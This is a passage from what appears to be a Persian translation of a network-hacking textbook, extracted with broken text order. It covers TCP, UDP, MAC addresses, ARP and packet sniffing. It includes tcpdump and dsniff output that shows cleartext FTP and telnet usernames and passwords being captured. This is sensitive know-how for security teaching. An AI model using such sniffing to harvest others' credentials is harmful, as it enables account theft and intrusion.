ﺷﻤﺎره ﻫﺎی ﺗﻮاﻟﯽ ﻣﻮرد اﺳﺘﻔﺎده ﻗﺮار ﻣﯽ ﮔﯿﺮﻧﺪ. ﺑﻪ اﯾﻦ دﻟﯿﻞ ﮐﻪ اﯾﻦ ﺑﺴﺘﻪ ﻫﺎ اﺻﻮﻻ ﺑﺮای ﻫﻤﮕﺎم ﺳﺎزی
ﺷﻤﺎره ﻫﺎی ﺗﻮاﻟﯽ ﺑﺮای ﺣﺼﻮل اﻃﻤﯿﻨﺎن از ﻗﺎﺑﻠﯿﺖ اﻋﺘﻤﺎد ﮐﻪ در ﻗﺒﻞ از آن ﯾﺎد ﺷـﺪ اﺳـﺘﻔﺎده ﻣـﯽ ﺷـﻮﻧﺪ .آﻧﻬـﺎ ﺑـﻪ TCP
اﻣﮑﺎن ﻣﻨﻈﻢ ﮐﺮدن ﺑﺴﺘﻪ ﻫﺎی رﺳﯿﺪه ی ﺧﺎرج از ﻧﻈﻢ را اﻫﺪا ﻣﯽ ﮐﻨﻨﺪ .ﺑﺎ اﯾﻦ ﮐﺎر اﻣﮑـﺎن ﺗﻌﯿـﯿﻦ ﺑـﺴﺘﻪ ﻫـﺎی ﮔـﻢ ﺷـﺪه
ﻓﺮاﻫﻢ ﺷﺪه و از ﻣﺨﻠﻮط ﺷﺪن ﺑﺴﺘﻪ ﻫﺎ ﺑﺎ ﺑﺴﺘﻪ ﻫﺎی ارﺗﺒﺎط ﻫﺎی دﯾﮕﺮ ﻧﯿﺰ ﺟﻠﻮﮔﯿﺮی ﺑﻌﻤﻞ ﻣﯽ آﯾﺪ.
ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﯾﮏ اﺗﺼﺎل ﺷﺮوع ﻣﯽ ﺷﻮد ،ﻫﺮ ﻃﺮف ﯾﮏ ﺷﻤﺎره ﺗﻮاﻟﯽ اوﻟﯿـﻪ 63ﺗﻮﻟﯿـﺪ ﻣـﯽ ﮐﻨـﺪ .اﯾـﻦ ﺷـﻤﺎره در دو ﺑـﺴﺘﻪ
آﻏﺎزﯾﻦِ SYNدر دﺳﺘﮑﺎﻧﯽ ارﺗﺒﺎط ،ﺑﻪ ﻃﺮف دﯾﮕﺮ ﻣﺮاوده ﻣﯽ ﺷﻮد .ﺳﭙﺲ ﺑﺎ ارﺳﺎل ﻫﺮ ﺑﺴﺘﻪ ،ﺷﻤﺎره ﺗـﻮاﻟﯽ ﺑـﻪ ﻣﯿـﺰان
ﺑﺎﯾﺖ ﻫﺎی ﻣﻮﺟﻮد در ﻗﺴﻤﺖ داده ای ﺑﺴﺘﻪ ،اﻓﺰاﯾﺶ ﻣﯽ ﯾﺎﺑﺪ .اﯾﻦ ﺷﻤﺎره ،در ﻫﺪر ﺑﺴﺘﻪ TCPﻗﺮار داده ﻣﯽ ﺷـﻮد .ﻫـﺮ
ﻧﯿﺰ دارد ﮐﻪ ﻣﻘﺪار آن ﺑﺮاﺑﺮ ﺑﺎ ﺷﻤﺎره ﺗﻮاﻟﯽ ﻃﺮف دﯾﮕﺮ ﺑﻌﻼوه 1ﻣﯽ ﺑﺎﺷﺪ. ﻫﺪر ،TCPﯾﮏ ﺷﻤﺎره ﺗﺼﺪﯾﻖ
64
TCPﺑﺮای ﺑﺮﻧﺎﻣﻪ ﻫﺎﯾﯽ ﮐﻪ اﺗﺼﺎل ﻫﺎی ﻗﺎﺑﻞ اﻋﺘﻤﺎد و دو ﺟﻬﺘﻪ ﻧﯿﺎز دارﻧﺪ ﻣﻨﺎﺳﺐ اﺳﺖ .ﺑﻪ ﻫﺮ ﺣﺎل ،ﺑﻬﺎی اﯾـﻦ ﻋﺎﻣﻠﯿـﺖ
در ﺳﺮﺑﺎر اﺗﺼﺎل 65ﭘﺮداﺧﺘﻪ ﻣﯽ ﺷﻮد UDP .ﺳﺮﺑﺎر و ﻋﺎﻣﻠﯿﺖ درون-ﺳﺎﺧﺖ ﮐﻤﺘﺮی از TCPدارد .اﯾﻦ ﻓﻘﺪان ﻋﺎﻣﻠﯿـﺖ
رﻓﺘﺎر آﻧﺮا ﺷﺒﯿﻪ ﺑﻪ ﭘﺮوﺗﮑﻞ IPﻣﯽ ﺳﺎزد ﮐﻪ ﺑﺪون اﺗﺼﺎل و ﻏﯿﺮﻗﺎﺑﻞ اﻋﺘﻤﺎد اﺳﺖ .ﺑﺠﺎی اﺳﺘﻔﺎده از ﻋﺎﻣﻠﯿـﺖ ﻫـﺎی درون
ﺳﺎﺧﺖ ﺟﻬﺖ اﯾﺠﺎد اﺗﺼﺎل ﻫﺎ و ﺑﺮﻗﺮار داﺷﺘﻦ ﻗﺎﺑﻠﯿﺖ اﻋﺘﻤﺎد UDP ،اﯾﻦ ﻣﺸﮑﻼت را ﺑـﻪ دوش ﺑﺮﻧﺎﻣـﻪ ﻫـﺎ ﻣـﯽ ﮔـﺬارد.
ﺑﻌﻀﯽ ﻣﻮاﻗﻊ ﺑﻪ ارﺗﺒﺎط ﻫﺎ ) (connectionﻧﯿﺎز ﻧﯿﺴﺖ و UDPراه ﻣﻨﺎﺳﺒﯽ ﺑﺮای روﯾﺎروﯾﯽ ﺑﺎ اﯾﻦ وﺿﻌﯿﺖ ﻫﺎ اﺳﺖ.
62
Synchronize
63
Initial Sequence Number
64
Acknowledgement Number
65
Overhead
120
.3,2,3ﻻﯾﻪ اﺗﺼﺎل-داده )(Data-Link
اﮔﺮ ﻻﯾﻪ ﺷﺒﮑﻪ ﺑﻪ ﻋﻨﻮان ﯾﮏ ﺳﯿﺴﺘﻢ ﭘﺴﺘﯽ ﺟﻬﺎﻧﯽ اﻧﮕﺎﺷﺘﻪ ﺷﻮد و ﻻﯾﻪ ﻓﯿﺰﯾﮑﯽ ﺑﻪ ﻋﻨﻮان ﭘﯿﮏ ﻫـﺎی ﭘـﺴﺘﯽ ﺑـﯿﻦ ادارات
ﺑﺎﺷﻨﺪ ،ﻻﯾﻪ اﺗﺼﺎل-داده ،ﺳﯿﺴﺘﻢ ﭘﺴﺘﯽ ﺑﯿﻦ اداری ﺧﻮاﻫﺪ ﺑﻮد .اﯾﻦ ﻻﯾﻪ ﺑﺮای آدرس دﻫـﯽ و ارﺳـﺎل ﭘﯿـﺎم ﻫـﺎ ﺑـﻪ اﻓـﺮاد
دﯾﮕﺮ در اداره اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد .ﻫﻤﭽﻨﯿﻦ ﻣﯽ ﺗﻮان ﭘﯽ ﺑﺮد ﮐﻪ ﭼﻪ ﮐﺴﯽ در اداره ﻣﯽ ﺑﺎﺷﺪ )ﺗﻌﯿﯿﻦ ﻫﻮﯾﺖ(.
روی اﯾﻦ ﻻﯾﻪ اﺗﺮﻧﺖ وﺟﻮد دارد .اﯾﻦ ﻻﯾﻪ ﯾﮏ ﺳﯿﺴﺘﻢ آدرس دﻫﯽ اﺳﺘﺎﻧﺪارد را ﺑﺮای ﺗﻤﺎم وﺳﺎﯾﻞ اﺗﺮﻧﺖ اراﺋﻪ ﻣﯽ دﻫﺪ.
اﯾﻦ آدرس ﻫﺎ ﺑﻪ ﻋﻨﻮان آدرس ﻫﺎی 66 MACﺷﻨﺎﺧﺘﻪ ﺷﺪه اﻧﺪ .ﺑﻪ ﻫـﺮ وﺳـﯿﻠﻪ اﺗﺮﻧـﺖ 67ﯾـﮏ آدرس ﯾﮑﺘـﺎی ﺟﻬـﺎﻧﯽ
ﺣﺎوی ﺷﺶ ﺑﺎﯾﺖ ﺗﺨﺼﯿﺺ داده ﺷـﺪه ﮐـﻪ ﻣﻌﻤـﻮﻻ در ﻣﺒﻨـﺎی ﺷـﺎﻧﺰده ﻧﻮﺷـﺘﻪ ﺷـﺪه و ﺑـﻪ ﻓـﺮم xx:xx:xx:xx:xx:xx
ﻫﺴﺘﻨﺪ .ﮔﺎﻫﯽ اوﻗﺎت اﯾﻦ آدرس ﻫﺎ را آدرس ﻫﺎی ﺳﺨﺖ اﻓﺰاری ﻧﯿﺰ ﻣﯽ ﻧﺎﻣﻨﺪ ،ﭼﺮا ﮐـﻪ اﯾـﻦ آدرس ﺑـﺮای ﻫـﺮ ﻗﻄﻌـﻪ
ﺳﺨﺖ اﻓﺰاری ﯾﮑﺘﺎ ﺑﻮده و روی در ﺣﺎﻓﻈﻪ 68ICآن وﺳﯿﻠﻪ ذﺧﯿـﺮه ﺷـﺪه اﺳـﺖ .آدرس ﻫـﺎی MACرا ﻣـﯽ ﺗـﻮان ﺑـﻪ
ﻋﻨﻮان ﺷﻤﺎره ﻫﺎی اﻣﻨﯿﺘﯽ اﺟﺘﻤﺎﻋﯽ ﺑﺮای ﺳﺨﺖ اﻓﺰارﻫﺎ اﻧﮕﺎﺷﺖ ،ﭼﺮا ﮐﻪ ﻓﺮض ﺑﺮ اﯾﻦ اﺳﺖ ﮐـﻪ ﻫـﺮ ﻗـﺴﻤﺖ از ﺳـﺨﺖ
اﻓﺰار ،آدرس MACﯾﮑﺘﺎﯾﯽ داﺷﺘﻪ ﺑﺎﺷﺪ.
ﻫﺪرﻫﺎی اﺗﺮﻧﺖ ﺷﺎﻣﻞ ﯾﮏ آدرس ﻣﺒﺪا و ﯾﮏ آدرس ﻣﻘﺼﺪ ﻫﺴﺘﻨﺪ ﮐﻪ ﺑﺮای ﺗﻌﯿﯿﻦ ﻣﺴﯿﺮ و ﻫﺪاﯾﺖ ﺑﺴﺘﻪ ﻫـﺎی اﺗﺮﻧـﺖ
اﺳﺘﻔﺎده ﻣﯽ ﺷﻮﻧﺪ .آدرس دﻫﯽ اﺗﺮﻧﺖ ،دارای ﯾﮏ آدرس اﻧﺘﺸﺎری وﯾﮋه 69اﺳـﺖ ﮐـﻪ ﺗﻤـﺎم ﺑـﺎﯾﻨﺮی ﻫـﺎی آن ﺑﺮاﺑـﺮ 1
ﻫﺴﺘﻨﺪ ) .(ff:ff:ff:ff:ff:ffﻫﺮ ﺑﺴﺘﻪ اﺗﺮﻧﺖِ ارﺳﺎﻟﯽ ﺑﻪ اﯾﻦ آدرس ،ﺑﻪ ﺗﻤـﺎﻣﯽ وﺳـﺎﯾﻞ ﻣﺘـﺼﻞ ﺑـﻪ ﺷـﺒﮑﻪ ارﺳـﺎل ﺧﻮاﻫـﺪ
ﮔﺸﺖ.
آدرس MACﺗﻐﯿﯿﺮ ﻧﺎﭘﺬﯾﺮ اﺳﺖ ،درﺣﺎﻟﯿﮑﻪ ﻣﻤﮑﻦ اﺳﺖ آدرس IPﻣﺮﺗﺒﺎ ﺗﻐﯿﯿﺮ ﮐﻨﺪ IP .روی ﻻﯾﻪ ی ﺑﺎﻻﯾﯽ ﻋﻤـﻞ ﻣـﯽ
ﮐﻨﺪ و ﻫﯿﭻ دﺧﺎﻟﺘﯽ در آدرس ﻫﺎی ﺳﺨﺖ اﻓﺰاری ﻧﺪارد .ﻟﺬا روﺷﯽ ﺟﻬﺖ ﻣﺮﺗﺒﻂ ﻧﻤﻮدن اﯾﻦ دو ﻃﺮح آدرس دﻫﯽ ﻣﻮرد
ﻧﯿﺎز اﺳﺖ .اﯾﻦ روش ﺗﺤﺖ ﻋﻨﻮان ﭘﺮوﺗﮑﻞ ﻧﮕﺎﺷﺖ آدرس 70ﯾﺎ ARPﺷﻨﺎﺧﺘﻪ ﻣﯽ ﺷﻮد .ﻋﻤﻼ ﭼﻬﺎر ﻧﻮع ﻣﺘﻔﺎوت از ﭘﯿـﺎم
ﻫﺎی ARPوﺟﻮد دارد ،اﻣﺎ دو ﭘﯿﺎم از اﯾﻦ ﺑﯿﻦ ﻣﻬﻢ ﺗﺮ ﻫﺴﺘﻨﺪ :ﭘﯿﺎم ﻫﺎی ARP Requestو .ARP Replyﭘﯿﺎم ARP
ارﺳﺎل ﻣﯽ ﮔﺮدد .از زﺑﺎن ﺧﻮد او ،Requestﭘﯿﺎﻣﯽ اﺳﺖ ﺷﺎﻣﻞ آدرس IPو MACﻓﺮﺳﺘﻨﺪه ﮐﻪ ﺑﻪ آدرس اﻧﺘﺸﺎری
71
ﻣﺎﺟﺮا را ﺑﺸﻨﻮﯾﺪ» :اﯾﻦ IPﺑﺮای ﮐﯿﻪ!؟ اﮔﺮ ﺑﺮای ﺷﻤﺎﺳﺖ ،ﻟﻄﻔﺎ ﺟﻮاب ﺑﺪﯾﺪ و آدرس MACﺧﻮدﺗﻮﻧﻮ ﺑﻪ ﻣـﻦ ﺑﮕﯿـﺪ« .در
ﻃﺮف ﻣﻘﺎﺑﻞ ،ﭘﯿﺎم ARP Replyﭘﺎﺳﺨﯽ اﺳﺖ ﻣﺘﻨﺎﻇﺮ ﮐﻪ ﺑـﻪ ﯾـﮏ آدرس ) MACو در ﻧﺘﯿﺠـﻪ (IPﺧـﺎص ارﺳـﺎل ﻣـﯽ
ﺷﻮد .او ﻧﯿﺰ ﭼﻨﯿﻦ ﻣﯿﮕﻮﯾﺪ» :اﯾﻦ آدرس MACﺑﺮای ﻣﻨﻪ و ﻫﻤﻮن ﻃﻮر ﮐﻪ ﺧﻮاﺳﺘﻪ ﺑﻮدی اﯾﻨﻢ آدرس IPﻣـﻦ« .ﺑـﺴﯿﺎری
از ﭘﯿﺎده ﺳﺎزی ﻫﺎی TCP/IPدر ﺳﯿﺴﺘﻢ ﻫﺎی ﻋﺎﻣﻞ ،زوج ﻣﺮﺗﺐ آدرس ﻫﺎی IP/MACدرﯾﺎﻓﺘﯽ از ARP Replyﻫـﺎ
را ﺑﻪ ﻃﻮر ﻣﻮﻗﺖ ذﺧﯿﺮه ﻣﯽ ﮐﻨﻨﺪ ) cacheﻣﯽ ﮐﻨﻨﺪ( ،ﺑﻄﻮرﯾﮑﻪ ﺑﺮای ﻫﺮ ﺑﺴﺘﻪ ی ارﺳﺎﻟﯽ ،ﻧﯿﺎزی ﺑـﻪ ARP Requestﻫـﺎ
و ARP Replyﻫﺎ ﻧﯿﺴﺖ.
ﺑــﺮای ﻣﺜــﺎل ،اﮔــﺮ آدرس IPﺳﯿــﺴﺘﻤﯽ 10.10.10.20و آدرس MACآن 00:00:00:aa:aa:aaﺑﺎﺷــﺪ و ﺳﯿــﺴﺘﻢ
دﯾﮕﺮی روی ﻫﻤﺎن ﺷﺒﮑﻪ ،آدرس IPﺑﺮاﺑﺮ ﺑﺎ 10.10.10.50و آدرس MACﺑﺮاﺑﺮ ﺑـﺎ 00:00:00:bb:bb:bbداﺷـﺘﻪ
ﺑﺎﺷﺪ ،ﺗﺎ زﻣﺎﻧﯽ ﮐﻪ ﻫﺮ ﯾﮏ ،آدرس MACدﯾﮕﺮی را ﻧﺪاﻧﺪ ،ﻗﺎدر ﺑﻪ ﺑﺮﻗﺮاری ارﺗﺒﺎط ﺑﺎ او ﻧﺨﻮاﻫﺪ ﺑﻮد.
66
Media Access Control
67
Ethernet device
68
Integrated Circuit
69
Broadcast Address
70
Address Resolution Protocol
71
Broadcast
121
اﮔﺮ ﺳﯿﺴﺘﻢ اول ﺑﺨﻮاﻫﺪ ﯾﮏ اﺗـﺼﺎل ) TCPروی (IPرا ﺑﺎ آدرس IPﺳﯿﺴﺘﻢ دوم ) (10.10.10.50ﺑﺮﻗﺮار ﮐﻨـﺪ ،اﺑﺘـﺪا
ARP Cacheﺧﻮد را ﭼﮏ ﮐﺮده ﺗﺎ از وﺟﻮد ﻣﻘﺪاری ﺑﻪ ﺻﻮرت 10.10.10.50ﺑﺎ ﺧﺒﺮ ﺷﻮد .ﭼﻮن ﻧﺨﺴﺘﯿﻦ ﺑﺎری اﺳﺖ
ﮐﻪ اﯾﻦ دو ﺳﯿﺴﺘﻢ ﻗﺼﺪ ارﺗﺒﺎط ﺑﺎ ﯾﮑﺪﯾﮕﺮ را دارﻧﺪ ،ﭼﯿﺰی در ARP Cacheﯾﺎﻓﺖ ﻧﺨﻮاﻫـﺪ ﺷـﺪ ،ﻟـﺬا ﺳﯿـﺴﺘﻢ اول ،در
اﯾﻦ ﻫﻨﮕﺎم ﯾﮏ ARP Requestرا ﺑﻪ آدرس اﻧﺘﺸﺎری ﻣﯽ ﻓﺮﺳﺘﺪ .اﯾﻦ ARP Requestﭼﻨﯿﻦ ﺳﺨﻦ ﻣﯽ ﮔﻮﯾـﺪ» :اﮔـﺮ
ﺷﻤﺎ 10.10.10.50ﻫﺴﺘﯿﻦ ،ﻟﻄﻔﺎ از ﻃﺮﯾﻖ 00:00:00:aa:aa:aaﭘﺎﺳﺦ ﺧﻮدﺗﻮﻧﻮ ﺑﻪ ﻣﻦ اﻋﻼم ﮐﻨﯿﻦ« .ﭼﻮن ﻣﻘﺼﺪ اﯾﻦ
درﺧﻮاﺳﺖ ،آدرس اﻧﺘﺸﺎری اﺳﺖ ،ﻟﺬا ﺗﻤﺎم ﺳﯿﺴﺘﻢ ﻫﺎی ﺷﺒﮑﻪ اﯾﻦ درﺧﻮاﺳﺖ را درﯾﺎﻓﺖ ﻣﯽ ﮐﻨﻨﺪ .اﻣـﺎ ﺗﻨﻬـﺎ ﺳﯿـﺴﺘﻤﯽ
ﭘﺎﺳﺦ ﻣﯽ دﻫﺪ ﮐﻪ آدرس IPآن ﺑﺎ آدرس IPﻣﻮﺟﻮد در درﺧﻮاﺳﺖ ﯾﮑﺴﺎن ﺑﺎﺷﺪ .در اﯾﻦ ﻣﻮرد ،ﺳﯿﺴﺘﻢ دوم ﺑـﺎ ارﺳـﺎل
ﻣﺴﺘﻘﯿﻢ ﯾﮏ ARP Replyﺑﻪ 00:00:00:aa:aa:aaﭘﺎﺳﺦ ﺧﻮد را اﻋﻼم ﻣﯽ دارد .اﯾﻦ ARP Replyﭼﻨـﯿﻦ ﺑﯿـﺎن ﻣـﯽ
دارد ﮐﻪ» :ﻣﻦ 10.10.10.50ﻫﺴﺘﻢ و ﻫﻤﻮن ﻃﻮر ﮐﻪ ﻧﯿﺎز داﺷﺘﯿﻦ آدرس MACﻣﻦ ﺑﺮاﺑـﺮ ﺑـﺎ 00:00:00:bb:bb:bb
ﻫﺴﺘﺶ« .ﺳﯿﺴﺘﻢ اول اﯾﻦ ﭘﺎﺳﺦ را درﯾﺎﻓﺖ ﮐﺮده و زوج ﻣﺮﺗـﺐ آدرس IP/MACرا در ARP Cacheﺧـﻮد ذﺧﯿـﺮه
ﻣﯽ ﮐﻨﺪ و ﺳﭙﺲ از آدرس ﺳﺨﺖ اﻓﺰاری ﺑﺪﺳﺖ آﻣﺪه ﺑﺮای ﮔﻔﺖ و ﮔﻮ اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ.
.3,3اﺳﺘﺮاق در ﺷﺒﮑﻪ
روی ﻻﯾﻪ Data-Linkﻧﯿﺰ ﺑﯿﻦ ﺷﺒﮑﻪ ﻫﺎی ﺳـﻮﺋﯿﭻ ) (switchedو ﻏﯿﺮﺳـﻮﺋﯿﭽﯽ ) (unswitchedﺗﻔـﺎوت وﺟـﻮد دارد.
روی ﯾﮏ ﺷﺒﮑﻪ ﻏﯿﺮ ﺳﻮﺋﯿﭽﯽ ﺑﺴﺘﻪ ﻫﺎی اﺗﺮﻧﺖ از ﺗﻤﺎم وﺳﺎﯾﻞ ﻣﻮﺟﻮد در ﺷﺒﮑﻪ ﻣﯽ ﮔﺬرﻧﺪ و ﻫﺮ ﺳﯿﺴﺘﻢ ﺗﻨﻬـﺎ ﺑـﻪ ﺑـﺴﺘﻪ
ﻫﺎﯾﯽ ﺗﻮﺟﻪ دارد ﮐﻪ آدرس ﻣﻘﺼﺪ آﻧﻬﺎ ﺑﺮاﺑﺮ ﺑﺎ آدرس ﺳﯿﺴﺘﻢ ﺑﺎﺷﺪ .ﺑﻪ ﻫﺮﺣﺎل ،ﻗـﺮار دادن ﯾـﮏ وﺳـﯿﻠﻪ در ﺷـﺒﮑﻪ ﺑـﻪ
ﺻﻮرت ﺑﯽ ﻗﺎﻋﺪه ) (promiscuousﺑﺴﯿﺎر ﻣﻀﺤﮏ اﺳﺖ ،ﭼﺮا ﮐﻪ وﺳﯿﻠﻪ ﺻﺮف ﻧﻈﺮ از آدرس ﻣﻘﺼﺪ ﺑﻪ ﺗﻤﺎﻣﯽ ﺑﺴﺘﻪ ﻫﺎ
ﻣﺎﻧﻨﺪ tcpdumpوﺳﯿﻠﻪ ای را ﮐﻪ ﺑﻪ آن ﮔﻮش ﻓﺮا ﻣـﯽ دﻫﻨـﺪ 72
ﮔﻮش ﻓﺮا ﻣﯽ دﻫﺪ .ﺑﺴﯿﺎری از ﺑﺮﻧﺎﻣﻪ ﻫﺎی ﺿﺒﻂ-ﺑﺴﺘﻪ
ﺑﻪ ﻃﻮر ﭘﯿﺶ ﻓﺮض در ﺣﺎﻟﺖ ﺑﯽ ﻗﺎﻋﺪه ﻗﺮار ﻣﯽ دﻫﻨﺪ .ﻫﻤـﺎن ﻃـﻮر ﮐـﻪ در ﺧﺮوﺟـﯽ زﯾـﺮ واﺿـﺢ اﺳـﺖ ،ﺑـﺎ اﺳـﺘﻔﺎده از
ifconfigﻣﯽ ﺗﻮان ﺣﺎﻟﺖ ﺑﯽ ﻗﺎﻋﺪه را اﻋﻤﺎل ﮐﺮد:
# ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:00:AD:D1:C7:ED
BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
72
Packet Capture
122
eth0 Link encap:Ethernet HWaddr 00:00:AD:D1:C7:ED
BROADCAST PROMISC MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Interrupt:9 Base address:0xc000
#
.( ﺷـﻨﺎﺧﺘﻪ ﻣـﯽ ﺷـﻮدSniffing) ( ﺑﺴﺘﻪ ﻫﺎ ﮐﻪ ﻟﺰوﻣﺎ ﺑﺮای ﻋﻤﻮم ﻣﻌﻨﺎی ﺧﺎﺻﯽ ﻧﺪارد ﺑﺎ ﻧﺎم اﺳﺘﺮاقcapture) ﻋﻤﻞِ ﺿﺒﻂ
.اﺳﺘﺮاق ﺑﺴﺘﻪ ﻫﺎ در ﺣﺎﻟﺖ ﺑﯽ ﻗﺎﻋﺪه در ﯾﮏ ﺷﺒﮑﻪ ﻏﯿﺮ ﺳﻮﺋﯿﭽﯽ اﻣﮑﺎن ﻓﺎش ﮐﺮدن اﻧـﻮاع اﻃﻼﻋـﺎت را ﻓـﺮاﻫﻢ ﻣﯿـﺴﺎزد
:ﻫﻤﺎن ﻃﻮر ﮐﻪ ﺧﺮوﺟﯽ زﯾﺮ اﯾﻦ ﻣﻄﻠﺐ را ﻧﺸﺎن ﻣﯽ دﻫﺪ
# tcpdump -l -X 'ip host 192.168.0.118'
tcpdump: listening on eth0
21:27:44.684964 192.168.0.118.ftp > 192.168.0.193.32778: P 1:42(41) ack 1
win 17316
<nop,nop,timestamp 466808 920202> (DF)
0x0000 4500 005d e065 4000 8006 97ad c0a8 0076 E..][email protected]
0x0010 c0a8 00c1 0015 800a 292e 8a73 5ed4 9ce8 ........)..s^...
0x0020 8018 43a4 a12f 0000 0101 080a 0007 1f78 ..C../.........x
0x0030 000e 0a8a 3232 3020 5459 5053 6f66 7420 ....220.TYPSoft.
0x0040 4654 5020 5365 7276 6572 2030 2e39 392e FTP.Server.0.99.
0x0050 3133 13
21:27:44.685132 192.168.0.193.32778 > 192.168.0.118.ftp: . ack 42 win 5840
<nop,nop,timestamp 920662 466808> (DF) [tos 0x10]
0x0000 4510 0034 966f 4000 4006 21bd c0a8 00c1 E..4.o@.@.!.....
0x0010 c0a8 0076 800a 0015 5ed4 9ce8 292e 8a9c ...v....^...)...
0x0020 8010 16d0 81db 0000 0101 080a 000e 0c56 ...............V
0x0030 0007 1f78 ...x
21:27:52.406177 192.168.0.193.32778 > 192.168.0.118.ftp: P 1:13(12) ack 42
win 5840
<nop,nop,timestamp 921434 466808> (DF) [tos 0x10]
0x0000 4510 0040 9670 4000 4006 21b0 c0a8 00c1 [email protected]@.@.!.....
0x0010 c0a8 0076 800a 0015 5ed4 9ce8 292e 8a9c ...v....^...)...
0x0020 8018 16d0 edd9 0000 0101 080a 000e 0f5a ...............Z
0x0030 0007 1f78 5553 4552 206c 6565 6368 0d0a ...xUSER.leech..
21:27:52.415487 192.168.0.118.ftp > 192.168.0.193.32778: P 42:76(34) ack 13
win
17304 <nop,nop,timestamp 466885 921434> (DF)
0x0000 4500 0056 e0ac 4000 8006 976d c0a8 0076 [email protected]
0x0010 c0a8 00c1 0015 800a 292e 8a9c 5ed4 9cf4 ........)...^...
0x0020 8018 4398 4e2c 0000 0101 080a 0007 1fc5 ..C.N,..........
0x0030 000e 0f5a 3333 3120 5061 7373 776f 7264 ...Z331.Password
0x0040 2072 6571 7569 7265 6420 666f 7220 6c65 .required.for.le
0x0050 6563 ec
21:27:52.415832 192.168.0.193.32778 > 192.168.0.118.ftp: . ack 76 win 5840
<nop,nop,timestamp 921435 466885> (DF) [tos 0x10]
0x0000 4510 0034 9671 4000 4006 21bb c0a8 00c1 E..4.q@.@.!.....
0x0010 c0a8 0076 800a 0015 5ed4 9cf4 292e 8abe ...v....^...)...
0x0020 8010 16d0 7e5b 0000 0101 080a 000e 0f5b ....~[.........[
0x0030 0007 1fc5 ....
21:27:56.155458 192.168.0.193.32778 > 192.168.0.118.ftp: P 13:27(14) ack 76
win
5840 <nop,nop,timestamp 921809 466885> (DF) [tos 0x10]
0x0000 4510 0042 9672 4000 4006 21ac c0a8 00c1 E..B.r@.@.!.....
0x0010 c0a8 0076 800a 0015 5ed4 9cf4 292e 8abe ...v....^...)...
0x0020 8018 16d0 90b5 0000 0101 080a 000e 10d1 ................
0x0030 0007 1fc5 5041 5353 206c 3840 6e69 7465 ....PASS.l8@nite
0x0040 0d0a ..
21:27:56.179427 192.168.0.118.ftp > 192.168.0.193.32778: P 76:103(27) ack
27 win
17290 <nop,nop,timestamp 466923 921809> (DF)
0x0000 4500 004f e0cc 4000 8006 9754 c0a8 0076 [email protected]
0x0010 c0a8 00c1 0015 800a 292e 8abe 5ed4 9d02 ........)...^...
0x0020 8018 438a 4c8c 0000 0101 080a 0007 1feb ..C.L...........
123
0x0030 000e 10d1 3233 3020 5573 6572 206c 6565 ....230.User.lee
0x0040 6368 206c 6f67 6765 6420 696e 2e0d 0a ch.logged.in...
ﺳﺮوﯾﺲ ﻫﺎﯾﯽ از ﻗﺒﯿﻞ FTP ،Telnetو ،POP3ﻏﯿﺮرﻣﺰﻧﮕﺎری ﺷﺪه ) (unencryptedﯾﺎ ﻏﯿﺮ رﻣﺰی ﻫﺴﺘﻨﺪ .در ﻣﺜـﺎل
ﻗﺒﻞ ،ﮐﺎرﺑﺮ ﺑﺎ رﻣﺰﻋﺒﻮر l8@nitﺑﻪ ﯾﮏ ﺳﺮور FTPﻻﮔﯿﻦ ﻣﯽ ﮐﻨﺪ .ﭼﻮن ﻓﺮآﯾﻨﺪ ﺗﺼﺪﯾﻖ ﻧﯿﺰ در ﺧﻼل ﻋﻤﻠﯿـﺎت ﻻﮔـﯿﻦ
ﺑﻪ ﻃﻮر ﻏﯿﺮرﻣﺰﻧﮕﺎری اﻧﺠﺎم ﻣﯽ ﺷﻮد ،ﻧﺎم ﻫﺎی ﮐﺎرﺑﺮی و رﻣﺰﻫﺎی ﻋﺒﻮر ﺑﻪ ﺳﺎدﮔﯽ در ﺑﺨﺶ ﻫﺎی اﻃﻼﻋـﺎﺗﯽ ﺑـﺴﺘﻪ ﻫـﺎی
اﻧﺘﻘﺎﻟﯽ ﻗﺎﺑﻞ دﺳﺘﺮس ﻫﺴﺘﻨﺪ Tcpdump .ﯾﮏ snifferﻓﻮق اﻟﻌﺎده و ﭼﻨﺪ ﻣﻨﻈﻮره اﺳﺖ ،اﻣﺎ اﺑـﺰار اﺳـﺘﺮاق دﯾﮕـﺮی ﺑـﻪ
وﯾﮋه ﺑﺮای ﺟﺴﺘﺠﻮی ﻧﺎﻣﻬﺎی ﮐﺎرﺑﺮی و رﻣﺰﻫﺎی ﻋﺒﻮر ﻧﯿﺰ ﻃﺮاﺣﯽ ﺷﺪه اﻧـﺪ .ﯾﮑـﯽ از ﻣﻬـﻢ ﺗـﺮﯾﻦ اﯾـﻦ اﺑﺰارﻫـﺎdsniff ،
اﺳﺖ.
# dsniff -n
dsniff: listening on eth0
-----------------
)12/10/02 21:43:21 tcp 192.168.0.193.32782 -> 192.168.0.118.21 (ftp
USER leech
PASS l8@nite
-----------------
)12/10/02 21:47:49 tcp 192.168.0.193.32785 -> 192.168.0.120.23 (telnet
USER root
PASS 5eCr3t
ﺣﺘﯽ ﺑﺪون ﮐﻤﮏ ﮔﺮﻓﺘﻦ از اﺑﺰاری ﻣﺜﻞ ،dsniffﺷﺎﯾﺪ ﯾﮏ ﻧﻔﻮذﮔﺮ ﺑﺘﻮاﻧﺪ ﺑﻪ ﻃﻮر ﺳﻄﺤﯽ ،ﻧﺎم ﻫﺎی ﮐـﺎرﺑﺮی و رﻣﺰﻫـﺎی
ﻋﺒﻮر را در ﺑﺴﺘﻪ ﻫﺎ ﺑﯿﺎﺑﺪ و از آﻧﻬﺎ ﺟﻬﺖ ﮐﺸﻒ و ﺑﻪ ﻣﺨﺎﻃﺮه اﻧـﺪاﺧﺘﻦ دﯾﮕـﺮ ﺳﯿـﺴﺘﻢ ﻫـﺎ اﺳـﺘﻔﺎده ﮐﻨـﺪ .از ﻧﻘﻄـﻪ ﻧﻈـﺮ
